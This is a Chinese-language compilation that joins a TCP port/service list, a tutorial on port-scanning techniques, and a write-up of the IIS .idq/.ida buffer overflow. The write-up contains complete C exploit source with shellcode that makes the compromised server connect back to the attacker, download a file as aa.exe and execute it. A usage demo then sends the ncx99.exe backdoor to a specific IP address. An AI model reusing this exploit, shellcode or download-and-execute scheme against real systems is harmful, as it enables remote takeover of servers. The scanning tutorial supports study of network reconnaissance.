3279/tcp admind admind
3281/tcp sysopt SYSOPT
3284/tcp 4talk 4Talk
3285/tcp plato Plato
3286/tcp e-net E-Net
3288/tcp cops COPS
3289/tcp enpc ENPC
3290/tcp caps-lm CAPS LOGISTICS TOOLKIT - LM
3291/tcp sah-lm S A Holditch & Associates - LM
3293/tcp fg-fps fg-fps
3294/tcp fg-gip fg-gip
3296/tcp rib-slm Rib License Manager
3299/tcp pdrncs pdrncs
3304/tcp opsession-srvr OP Session Server
3306/tcp mysql MySQL
3309/tcp tns-adv TNS ADV
3313/tcp uorb Unify Object Broker
3314/tcp uohost Unify Object Host
3315/tcp cdid CDID
3318/tcp ssrip Swith to Swith Routing Information Protocol
3319/tcp sdt-lmd SDT License Manager
3321/tcp vnsstr VNSSTR
3326/tcp sftu SFTU
3327/tcp bbars BBARS
3328/tcp egptlm Eaglepoint License Manager
3329/tcp hp-device-disc HP Device Disc
3330/tcp mcs-calypsoicf MCS Calypso ICF
3333/tcp dec-notes DEC Notes
3338/tcp anet-b OMF data b
3339/tcp anet-l OMF data l
3340/tcp anet-m OMF data m
3341/tcp anet-h OMF data h
3342/tcp webtie WebTIE
3351/tcp btrieve BTRIEVE
3352/tcp ssql SSQL
3353/tcp fatpipe FATPIPE
3354/tcp suitjd SUITJD
3362/tcp dj-ilm DJ ILM
3372/tcp tip2 TIP 2
3378/tcp wsicopy WSICOPY
3379/tcp socorfs SOCORFS
3381/tcp geneous Geneous
3383/tcp esp-lm Enterprise Software Products License Manager
3390/tcp dsc Distributed Service Coordinator
3391/tcp savant SAVANT
3392/tcp efi-lm EFI License Management
3395/tcp dyna-lm Dyna License Manager (Elam)
3421/tcp bmap Bull Apprise portmapper
3455/tcp prsvp RSVP Port
3456/tcp vat VAT default data
3457/tcp vat-control VAT default control
3900/tcp udt_os Unidata UDT OS
3984/tcp mapper-nodemgr MAPPER network node manager
3985/tcp mapper-mapethd MAPPER TCP/IP server
3986/tcp mapper-ws_ethd MAPPER workstation server
4001/tcp newoak NewOak
4008/tcp netcheque NetCheque accounting
4096/tcp bre BRE (Bridge Relay Element)
4132/tcp nuts_dem NUTS Daemon
4133/tcp nuts_bootp NUTS Bootp Server
4143/tcp oidsr Document Replication
4321/tcp rwhois Remote Who Is
4343/tcp unicall UNICALL
4346/tcp elanlm ELAN LM
4348/tcp itose ITOSE
4444/tcp krb524 KRB524
4444/tcp nv-video NV Video default
4446/tcp n1-fwp N1-FWP
4449/tcp privatewire PrivateWire
4450/tcp camp Camp
4451/tcp ctisystemmsg CTI System Msg
4452/tcp ctiprogramload CTI Program Load
4500/tcp sae-urn sae-urn
4501/tcp urn-x-cdchoice urn-x-cdchoice
4546/tcp sf-lm SF License Manager (Sentinel)
4672/tcp rfa remote file access server
4800/tcp iims Icona Instant Messenging System
4801/tcp iwec Icona Web Embedded Chat
4802/tcp ilss Icona License System Server
4827/tcp htcp HTCP
4868/tcp phrelay Photon Relay
4885/tcp abbs ABBS
5002/tcp rfe radio free ethernet
5003/tcp fmpro-internal FileMaker, Inc. - Proprietary transport
5004/tcp avt-profile-1 avt-profile-1
5005/tcp avt-profile-2 avt-profile-2
5010/tcp telelpathstart TelepathStart
5020/tcp zenginkyo-1 zenginkyo-1
5021/tcp zenginkyo-2 zenginkyo-2
5050/tcp mmcc multimedia conference control tool
5060/tcp sip SIP
5150/tcp atmp Ascend Tunnel Management Protocol
5190/tcp aol America-Online
5191/tcp aol-1 AmericaOnline1
5192/tcp aol-2 AmericaOnline2
5193/tcp aol-3 AmericaOnline3
5272/tcp pk PK
5300/tcp hacl-hb # HA cluster heartbeat
5301/tcp hacl-gs # HA cluster general services
5304/tcp hacl-local # HA Cluster Commands
5305/tcp hacl-test # HA Cluster Test
5307/tcp sco-aip SCO AIP
5310/tcp outlaws Outlaws
5311/tcp tmlogin TM Login
5400/tcp excerpt Excerpt Search
5402/tcp mftp MFTP
5404/tcp hpoms-dps-lstn HPOMS-DPS-LSTN
5407/tcp foresyte-clear Foresyte-Clear
5409/tcp salient-dtasrv Salient Data Server
5410/tcp salient-usrmgr Salient User Manager
5411/tcp actnet ActNet
5414/tcp statusd StatusD
5418/tcp mcntp MCNTP
5419/tcp dj-ice DJ-ICE
5500/tcp fcp-addr-srvr1 fcp-addr-srvr1
5501/tcp fcp-addr-srvr2 fcp-addr-srvr2
5502/tcp fcp-srvr-inst1 fcp-srvr-inst1
5503/tcp fcp-srvr-inst2 fcp-srvr-inst2
5504/tcp fcp-cics-gw1 fcp-cics-gw1
5555/tcp personal-agent Personal Agent
5602/tcp a1-msc A1-MSC
5603/tcp a1-bs A1-BS
5631/tcp pcanywheredata pcANYWHEREdata
5632/tcp pcanywherestat pcANYWHEREstat
5678/tcp rrac Remote Replication Agent Connection
5679/tcp dccm Direct Cable Connect Manager
5713/tcp proshareaudio proshare conf audio
5714/tcp prosharevideo proshare conf video
5715/tcp prosharedata proshare conf data
5717/tcp prosharenotify proshare conf notify
5729/tcp openmail Openmail User Agent Layer
5741/tcp ida-discover1 IDA Discover Port 1
5742/tcp ida-discover2 IDA Discover Port 2
5745/tcp fcopy-server fcopy-server
5746/tcp fcopys-server fcopys-server
5755/tcp openmailg OpenMail Desk Gateway server
5757/tcp x500ms OpenMail X.500 Directory Server
5766/tcp openmailns OpenMail NewMail Server
5767/tcp s-openmail OpenMail Suer Agent Layer (Secure)
6000/tcp x11 X Window System
6110/tcp softcm HP SoftBench CM
6111/tcp spc HP SoftBench Sub-Process Control
6112/tcp dtspcd dtspcd
6123/tcp backup-express Backup Express
6141/tcp meta-corp Meta Corporation License Manager
6142/tcp aspentec-lm Aspen Technology License Manager
6143/tcp watershed-lm Watershed License Manager
6144/tcp statsci1-lm StatSci License Manager - 1
6145/tcp statsci2-lm StatSci License Manager - 2
6146/tcp lonewolf-lm Lone Wolf Systems License Manager
6147/tcp montage-lm Montage License Manager
6148/tcp ricardo-lm Ricardo North America License Manager

6149/tcp tal-pod tal-pod
6253/tcp crip CRIP
6389/tcp clariion-evr01 clariion-evr01
6500/tcp boks BoKS Master
6558/tcp xdsxdm
6665/tcp ircu IRCU
6670/tcp vocaltec-gold Vocaltec Global Online Directory
6672/tcp vision_server vision_server
6673/tcp vision_elmd vision_elmd
6790/tcp hnmp HNMP
6831/tcp ambit-lm ambit-lm
6969/tcp acmsoda acmsoda
7010/tcp ups-onlinet onlinet uninterruptable power supplies
7020/tcp dpserve DP Serve
7070/tcp arcp ARCP
7099/tcp lazy-ptop lazy-ptop
7100/tcp font-service X Font Service
7121/tcp virprot-lm Virtual Prototypes License Manager
7174/tcp clutild Clutild
7200/tcp fodms FODMS FLIP
7201/tcp dlip DLIP
7395/tcp winqedit winqedit
7426/tcp pmdmgr OpenView DM Postmaster Manager
7430/tcp xmpv7 OpenView DM xmpv7 api pipe
7431/tcp pmd OpenView DM ovc/xmpv3 api pipe
7491/tcp telops-lmd telops-lmd
7511/tcp pafec-lm pafec-lm
7544/tcp nta-ds FlowAnalyzer DisplayServer
7545/tcp nta-us FlowAnalyzer UtilityServer
7588/tcp sun-lm Sun License Manager
7777/tcp cbt cbt
7781/tcp accu-lmgr accu-lmgr
7932/tcp t2-drm Tier 2 Data Resource Manager
7933/tcp t2-brm Tier 2 Business Rules Manager
7999/tcp irdmi2 iRDMI2
8000/tcp irdmi iRDMI
8032/tcp pro-ed ProEd
8400/tcp cvd cvd
8401/tcp sabarsd sabarsd
8402/tcp abarsd abarsd
8403/tcp admind admind
8450/tcp npmp npmp
8473/tcp vp2p Vitual Point to Point
8888/tcp ddi-tcp-1 NewsEDGE server TCP (TCP 1)
8889/tcp ddi-tcp-2 Desktop Data TCP 1
8890/tcp ddi-tcp-3 Desktop Data TCP 2
8891/tcp ddi-tcp-4 Desktop Data TCP 3: NESS application
8892/tcp ddi-tcp-5 Desktop Data TCP 4: FARM product
8893/tcp ddi-tcp-6 Desktop Data TCP 5: NewsEDGE/Web application
8894/tcp ddi-tcp-7 Desktop Data TCP 6: COAL application
9000/tcp cslistener CSlistener
9006/tcp sctp SCTP
9090/tcp websm WebSM
9535/tcp man
9594/tcp msgsys Message System
9595/tcp pds Ping Discovery Service
9876/tcp sd Session Director
9992/tcp palace Palace
9993/tcp palace Palace
9994/tcp palace Palace
9995/tcp palace Palace
9996/tcp palace Palace
9997/tcp palace Palace
9998/tcp distinct32 Distinct32
9999/tcp distinct distinct
10000/tcp ndmp Network Data Management Protocol
11000/tcp irisa IRISA
11001/tcp metasys Metasys
12753/tcp tsaf tsaf port
13160/tcp i-zipqd I-ZIPQD
13720/tcp bprd BPRD Protocol (VERITAS NetBackup)
13721/tcp bpbrm BPBRM Protocol (VERITAS NetBackup)
13782/tcp bpcd VERITAS NetBackup
17219/tcp chipper Chipper
18000/tcp biimenu Beckman Instruments, Inc.
19410/tcp hp-sco hp-sco
19411/tcp hp-sca hp-sca
19541/tcp jcp JCP Client
21845/tcp webphone webphone
21846/tcp netspeak-is NetSpeak Corp. Directory Services
21847/tcp netspeak-cs NetSpeak Corp. Connection Services
21848/tcp netspeak-acd NetSpeak Corp. Automatic Call Distribution
21849/tcp netspeak-cps NetSpeak Corp. Credit Processing System
22273/tcp wnn6 wnn6
22555/tcp vocaltec-wconf Vocaltec Web Conference
22800/tcp aws-brf Telerate Information Platform LAN
22951/tcp brf-gw Telerate Information Platform WAN
24000/tcp med-ltp med-ltp
24004/tcp med-ovw med-ovw
24005/tcp med-ci med-ci
25000/tcp icl-twobase1 icl-twobase1
25001/tcp icl-twobase2 icl-twobase2
25002/tcp icl-twobase3 icl-twobase3
25003/tcp icl-twobase4 icl-twobase4
25004/tcp icl-twobase5 icl-twobase5
25005/tcp icl-twobase6 icl-twobase6
25006/tcp icl-twobase7 icl-twobase7
25007/tcp icl-twobase8 icl-twobase8
25008/tcp icl-twobase9 icl-twobase9
25009/tcp icl-twobase10 icl-twobase10
25793/tcp vocaltec-hos Vocaltec Address Server
26000/tcp quake quake
26208/tcp wnn6-ds wnn6-ds
45678/tcp eba EBA PRISE
47557/tcp dbbrowse Databeam Corporation
47806/tcp ap ALC Protocol
47808/tcp bacnet Building Automation and Control Networks


端口扫描简介

    一个端口就是一个潜在的通信通道，也就是一个入侵通道。对目标计算机进行端口扫描，能得到许多有用的信息。进行扫描的方法很多，可以是手工进行扫描，也可以用端口扫描软件进行。

在手工进行扫描时，需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件进行扫描时，许多扫描器软件都有分析数据的功能。

通过端口扫描，可以得到许多有用的信息，从而发现系统的安全漏洞。

什么是扫描器

扫描器是一种自动检测远程或本地主机安全性弱点的程序，通过使用扫描器你可一不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务和它们的软件版本！这就能让我们间接的或直观的了解到远程主机所存在的安全问题。

工作原理

扫描器通过选用远程TCP/IP不同的端口的服务，并记录目标给予的回答，通过这种方法，可以搜集到很多关于目标主机的各种有用的信息（比如：是否能用匿名登陆！是否有可写的FTP目录，是否能用TELNET，HTTPD是用ROOT还是nobady在跑！）

扫描器能干什么

扫描器并不是一个直接的攻击网络漏洞的程序，它仅仅能帮助我们发现目标机的某些内在的弱点。一个好的扫描器能对它得到的数据进行分析，帮助我们查找目标主机的漏洞。但它不会提供进入一个系统的详细步骤。

扫描器应该有三项功能：发现一个主机或网络的能力；一旦发现一台主机，有发现什么服务正运行在这台主机上的能力；通过测试这些服务，发现漏洞的能力。

编写扫描器程序必须要很多TCP/IP程序编写和C, Perl和或SHELL语言的知识。需要一些Socket编程的背景，一种在开发客户/服务应用程序的方法。开发一个扫描器是一个雄心勃勃的项目，通常能使程序员感到很满意。

常用的端口扫描技术

TCP connect() 扫描

这是最基本的TCP扫描。操作系统提供的connect()系统调用，用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态，那么connect()就能成功。否则，这个端口是不能用的，即没有提供服务。这个技术的一个最大的优点是，你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度。如果对每个目标端口以线性的方式，使用单独的connect()调用，那么将会花费相当长的时间，你可以通过同时打开多个套接字，从而加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期，同时观察多个套接字。但这种方法的缺点是很容易被发觉，并且被过滤掉。目标计算机的logs文件会显示一连串的连接和连接是出错的服务消息，并且能很快的使它关闭。

TCP SYN扫描

这种技术通常认为是半开放扫描，这是因为扫描程序不必要打开一个完全的TCP连接。扫描程序发送的是一个SYN数据包，好象准备打开一个实际的连接并等待反应一样（参考TCP的三次握手建立一个TCP连接的过程）。一个SYN|ACK的返回信息表示端口处于侦听状态。一个RST返回，表示端口没有处于侦听态。如果收到一个SYN|ACK，则扫描程序必须再发送一个RST信号，来关闭这个连接过程。这种扫描技术的优点在于一般不会在目标计算机上留下记录。但这种方法的一个缺点是，必须要有root权限才能建立自己的SYN数据包。

TCP FIN 扫描

有的时候有可能SYN扫描都不够秘密。一些防火墙和包过滤器会对一些指定的端口进行监视，有的程序能检测到这些扫描。相反，FIN数据包可能会没有任何麻烦的通过。这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面，打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系。有的系统不管端口是否打开，都回复RST，这样，这种扫描方法就不适用了。并且这种方法在区分Unix和NT时，是十分有用的。

IP段扫描

这种不能算是新方法，只是其它技术的变化。它并不是直接发送TCP探测数据包，是将数据包分成两个较小的IP段。这样就将一个TCP头分成好几个数据包，从而过滤器就很难探测到。但必须小心。一些程序在处理这些小数据包时会有些麻烦。

TCP 反向 ident扫描

ident 协议允许(rfc1413)看到通过TCP连接的任何进程的拥有者的用户名，即使这个连接不是由这个进程开始的。因此你能，举个例子，连接到http端口，然后用identd来发现服务器是否正在以root权限运行。这种方法只能在和目标端口建立了一个完整的TCP连接后才能看到。

FTP 返回攻击

FTP协议的一个有趣的特点是它支持代理（proxy）FTP连接。即入侵者可以从自己的计算机a.com和目标主机target.com的FTP server-PI(协议解释器)连接，建立一个控制通信连接。然后，请求这个server-PI激活一个有效的server-DTP(数据传输进程)来给Internet上任何地方发送文件。对于一个User-DTP，这是个推测,尽管RFC明确地定义请求一个服务器发送文件到另一个服务器是可以的。但现在这个方法好象不行了。这个协议的缺点是“能用来发送不能跟踪的邮件和新闻，给许多服务器造成打击，用尽磁盘，企图越过防火墙”。

我们利用这个的目的是从一个代理的FTP服务器来扫描TCP端口。这样，你能在一个防火墙后面连接到一个FTP服务器，然后扫描端口（这些原来有可能被阻塞）。如果FTP服务器允许从一个目录读写数据，你就能发送任意的数据到发现的打开的端口。

对于端口扫描，这个技术是使用PORT命令来表示被动的User DTP正在目标计算机上的某个端口侦听。然后入侵者试图用LIST命令列出当前目录，结果通过Server-DTP发送出去。如果目标主机正在某个端口侦听，传输就会成功（产生一个150或226的回应）。否则，会出现425 Cant build data connection: Connection refused.。然后，使用另一个PORT命令，尝试目标计算机上的下一个端口。这种方法的优点很明显，难以跟踪，能穿过防火墙。主要缺点是速度很慢，有的FTP服务器最终能得到一些线索，关闭代理功能。

这种方法能成功的情景：
220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
220 xxx.xxx.xxx.edu FTP server ready.
220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
220 lem FTP server (SunOS 4.1) ready.
220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.
220 elios FTP server (SunOS 4.1) ready

这种方法不能成功的情景：
220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (Version 3.0).
220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.

UDP ICMP端口不能到达扫描

这种方法与上面几种方法的不同之处在于使用的是UDP协议。由于这个协议很简单，所以扫描变得相对比较困难。这是由于打开的端口对扫描探测并不发送一个确认，关闭的端口也并不需要发送一个错误数据包。幸运的是，许多主机在你向一个未打开的UDP端口发送一个数据包时，会返回一个ICMP_PORT_UNREACH错误。这样你就能发现哪个端口是关闭的。UDP和ICMP错误都不保证能到达，因此这种扫描器必须还实现在一个包看上去是丢失的时候能重新传输。这种扫描方法是很慢的，因为RFC对ICMP错误消息的产生速率做了规定。同样，这种扫描方法需要具有root权限。

UDP recvfrom()和write() 扫描

当非root用户不能直接读到端口不能到达错误时，Linux能间接地在它们到达时通知用户。比如，对一个关闭的端口的第二个write()调用将失败。在非阻塞的UDP套接字上调用recvfrom()时，如果ICMP出错还没有到达时回返回EAGAIN-重试。如果ICMP到达时，返回ECONNREFUSED-连接被拒绝。这就是用来查看端口是否打开的技术。

ICMP echo扫描

这并不是真正意义上的扫描。但有时通过ping，在判断在一个网络上主机是否开机时非常有用。

典型扫描工具:nmap

在网上可以很容易地找到nmap的源码，有兴趣的话可以自行分析。


对.idq/.ida溢出攻击的分析

by isno( isno@xfocus.org)

IIS的.idq/.ida映射的溢出漏洞已经公布了好久了，但由于利用这个漏洞有
比较大的难度，所以可用的攻击程序一直也没弄出来。甚至连发现这个漏洞的
eEye也没做出攻击程序来，由于发送的内容被转换成了宽字符，所以覆盖用的
溢出地址比较难以控制，按照eEye的办法，是在shellcode前面放上很多NOP这样
就把shellcode推向了0x004x00xx的地址，就可以用xx4x这样的串来覆盖ret，这
个串被扩展为xx004x00以后正好跳转到shellcode的位置。这种方法虽然理论上
行的通，但是实际上问题非常多，可以控制跳转却无法执行代码，而且不同的机
器这个0x004x00xx都不一样，这样就很难做出通用性比较好的exploit。

昨天终于看到公布了可用的攻击程序，一开始没仔细看还以为是骗人的。后
来用softice跟了一下，又请教了一下袁哥才搞明白。这个exploit写得很不错，
用巧妙的方法避开来被扩展成宽字符，可以随意控制跳转地址，利用他的方法可
以很轻松的改写出更完善的exploit。

这个程序的shellcode比较简单，只是连到指定主机的指定端口去接受数
据，然后把它存为aa.exe，然后运行aa.exe。但它和以前的对付.htr溢出的那个
iishack不一样，它不能主动请求数据，而只能等待那边的主机发送数据，所以
你不能用它来下载指定的程序，而必须由攻击端的攻击程序来开个进程等待发送
数据到被攻击的主机。

我把这个程序稍微改了一下，使它可以攻击中文版IIS5。因为过几天要考
试，我也没有时间再写个新程序了，只有等考完后在弄。下面就是我改良过
的.idq exploit程序，作了一些比较详细的注解：

-------------------------------idq.c---------------------------------------
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21

code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
/*
Modified by isno
对中文版WIN2k + IIS 5.0 + SP0攻击成功！
在RedHat6.2上编译
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET 0x77e4ac97 /* jmp or call ebx */
/* 这是中文版WIN2K（没有安装SP）中jmp ebx的地址*/

#define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA
  */
#define GPADDRESS 0x77e7564b /* Address of GetProcAddress */
/*中文版GetModuleHandleA和GetProcAddress的地址*/
/*这两个API的地址固定了，这样通用性不好，其实可以用shellcode来搜索*/

#define GMHANDLEA_OFFSET 24
/*GetModuleHandleA的地址在shellcode中的偏移位置*/

#define GPADDRESS_OFFSET 61
/*同上*/

#define OFFSET 234 /* exception handler offset
  */
/*
作者选择了覆盖SEH，这样可以避免覆盖掉某些形参而引起的错误，
但根据我的测试，覆盖RET也是一样的
*/
#define NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
/*做了一些编码，以免地址或端口中还有\0字节而截断shellcode*/

#define PORT 555
/*shellcode要连接的端口，不要用80，因为80一般都被占用了*/

#define ADDR "111.111.111.111"
/*
！！！注意：上面这个地方是必须要更改的地方！！！
这是你发起攻击的主机地址，就是你运行攻击程序的那台主机。
*/

#define PORT_OFFSET 115
#define ADDR_OFFSET 120
/*都是一些偏移量*/

unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
/*shellcode实现连接到攻击端并下载程序的功能，这个程序必须在攻击端主机上*/

unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
/*这是前面的shellcode用来跳到后面并寻址字符串*/

unsigned char forwardjump[]=
"%u08eb";
/*这是覆盖异常结构的jmp 08h，用来跳到后面寻址shellcode的那段代码*/
/*
作者在前面加了一个%u符号，这样就可以免于被扩展成宽字符，这方法
太妙了！至于IIS是这样处理%u的，可以参见bbs.nsfocus.com上袁哥反汇编
的代码。后面的返回地址和跳转shellcode的代码也作了同样的处理。
*/

unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
/*
跳转到shellcode去，我不一句句的解释了，如果有兴趣可以自己看，
注意每两个字节都是反的，%uC033在转换后变成了\x33\xC0。
*/

unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
/*域名->IP*/

int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
/*上面是连接主机的函数*/

/*
下面这个函数很重要，它监听在前面定义的那个的端口，我用了555，
一旦有主机连接过来，后面那个进程就把本地的一个程序发送过去，
这个程序当然也是在运行时指定的。
*/
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;

lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}

int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;

if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;

if(!(cb=resolve(ADDR)))
return -3;

if((pid=fork())<0)
return -4;

/*
开两个进程一个用于构造并发送shellcode，
另一个监听指定端口并等待发送数据。
*/
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}

j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i<strlen(shellcode);i++)
{
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}

memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);

memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;

sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);

/*
上面就是构造溢出串，溢出串在被扩展并拷贝入IIS的堆栈后形式如下：
..............| 异常链 |处理指针|.................
010001000100.....|eb080100|97ace477|010033c0.........
|jmp 08h | jmp ebx| jmp shellcode
*/

write(s,buf3,strlen(buf3));

printf("---");
for(i=0;i<strlen(buf3);i++)
{
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");

wait(0);
sleep(1);
shutdown(s,2);
close(s);

printf("Done.\n");
}
/*下面这个进程用于建立连接，并打开指定文件并发送出去*/
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);

shutdown(s,2);
close(s);
}

return 0;
}
-------------------------idq.c-----cut here-----------------------------

整个程序攻击的流程是这样的：

攻击端 被攻击端
1. 发送shellcode
--------------->
2. 溢出并运行shellcode

3.监听555端口等待连接

4. 连接到攻击端555端口
<-------------------

5. 发送文件数据
-------------------->

6 接受文件为aa.exe并执行

下面是演示一下具体的用法的实例：

先到一台linux主机上编译idq.c。gcc -o idq idq.c

！！！注意一定先改一下程序中的#define ADDR "111.111.111.111"为你这台
linux主机的IP地址！！！

然后上传一个ncx99.exe到这台主机放在同一个目录下：
bash# ls -al
total 90
drwxrwxrwt 7 root root 1024 Aug 30 05:25 .
drwxr-xr-x 17 root root 1024 Aug 28 15:47 ..
drwxrwxrwt 2 xfs xfs 1024 May 14 03:03 .font-unix
-rwxr-xr-x 1 root root 18526 Aug 30 05:25 idq
-rw-r--r-- 1 root root 8149 Aug 30 05:25 idq.c
-rw-rw-rw- 1 root root 59392 Aug 17 1999 ncx99.exe
假设要攻击61.135.19.222，就这样：
bash# ./idq 61.135.19.222 ncx99.exe
---
47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01
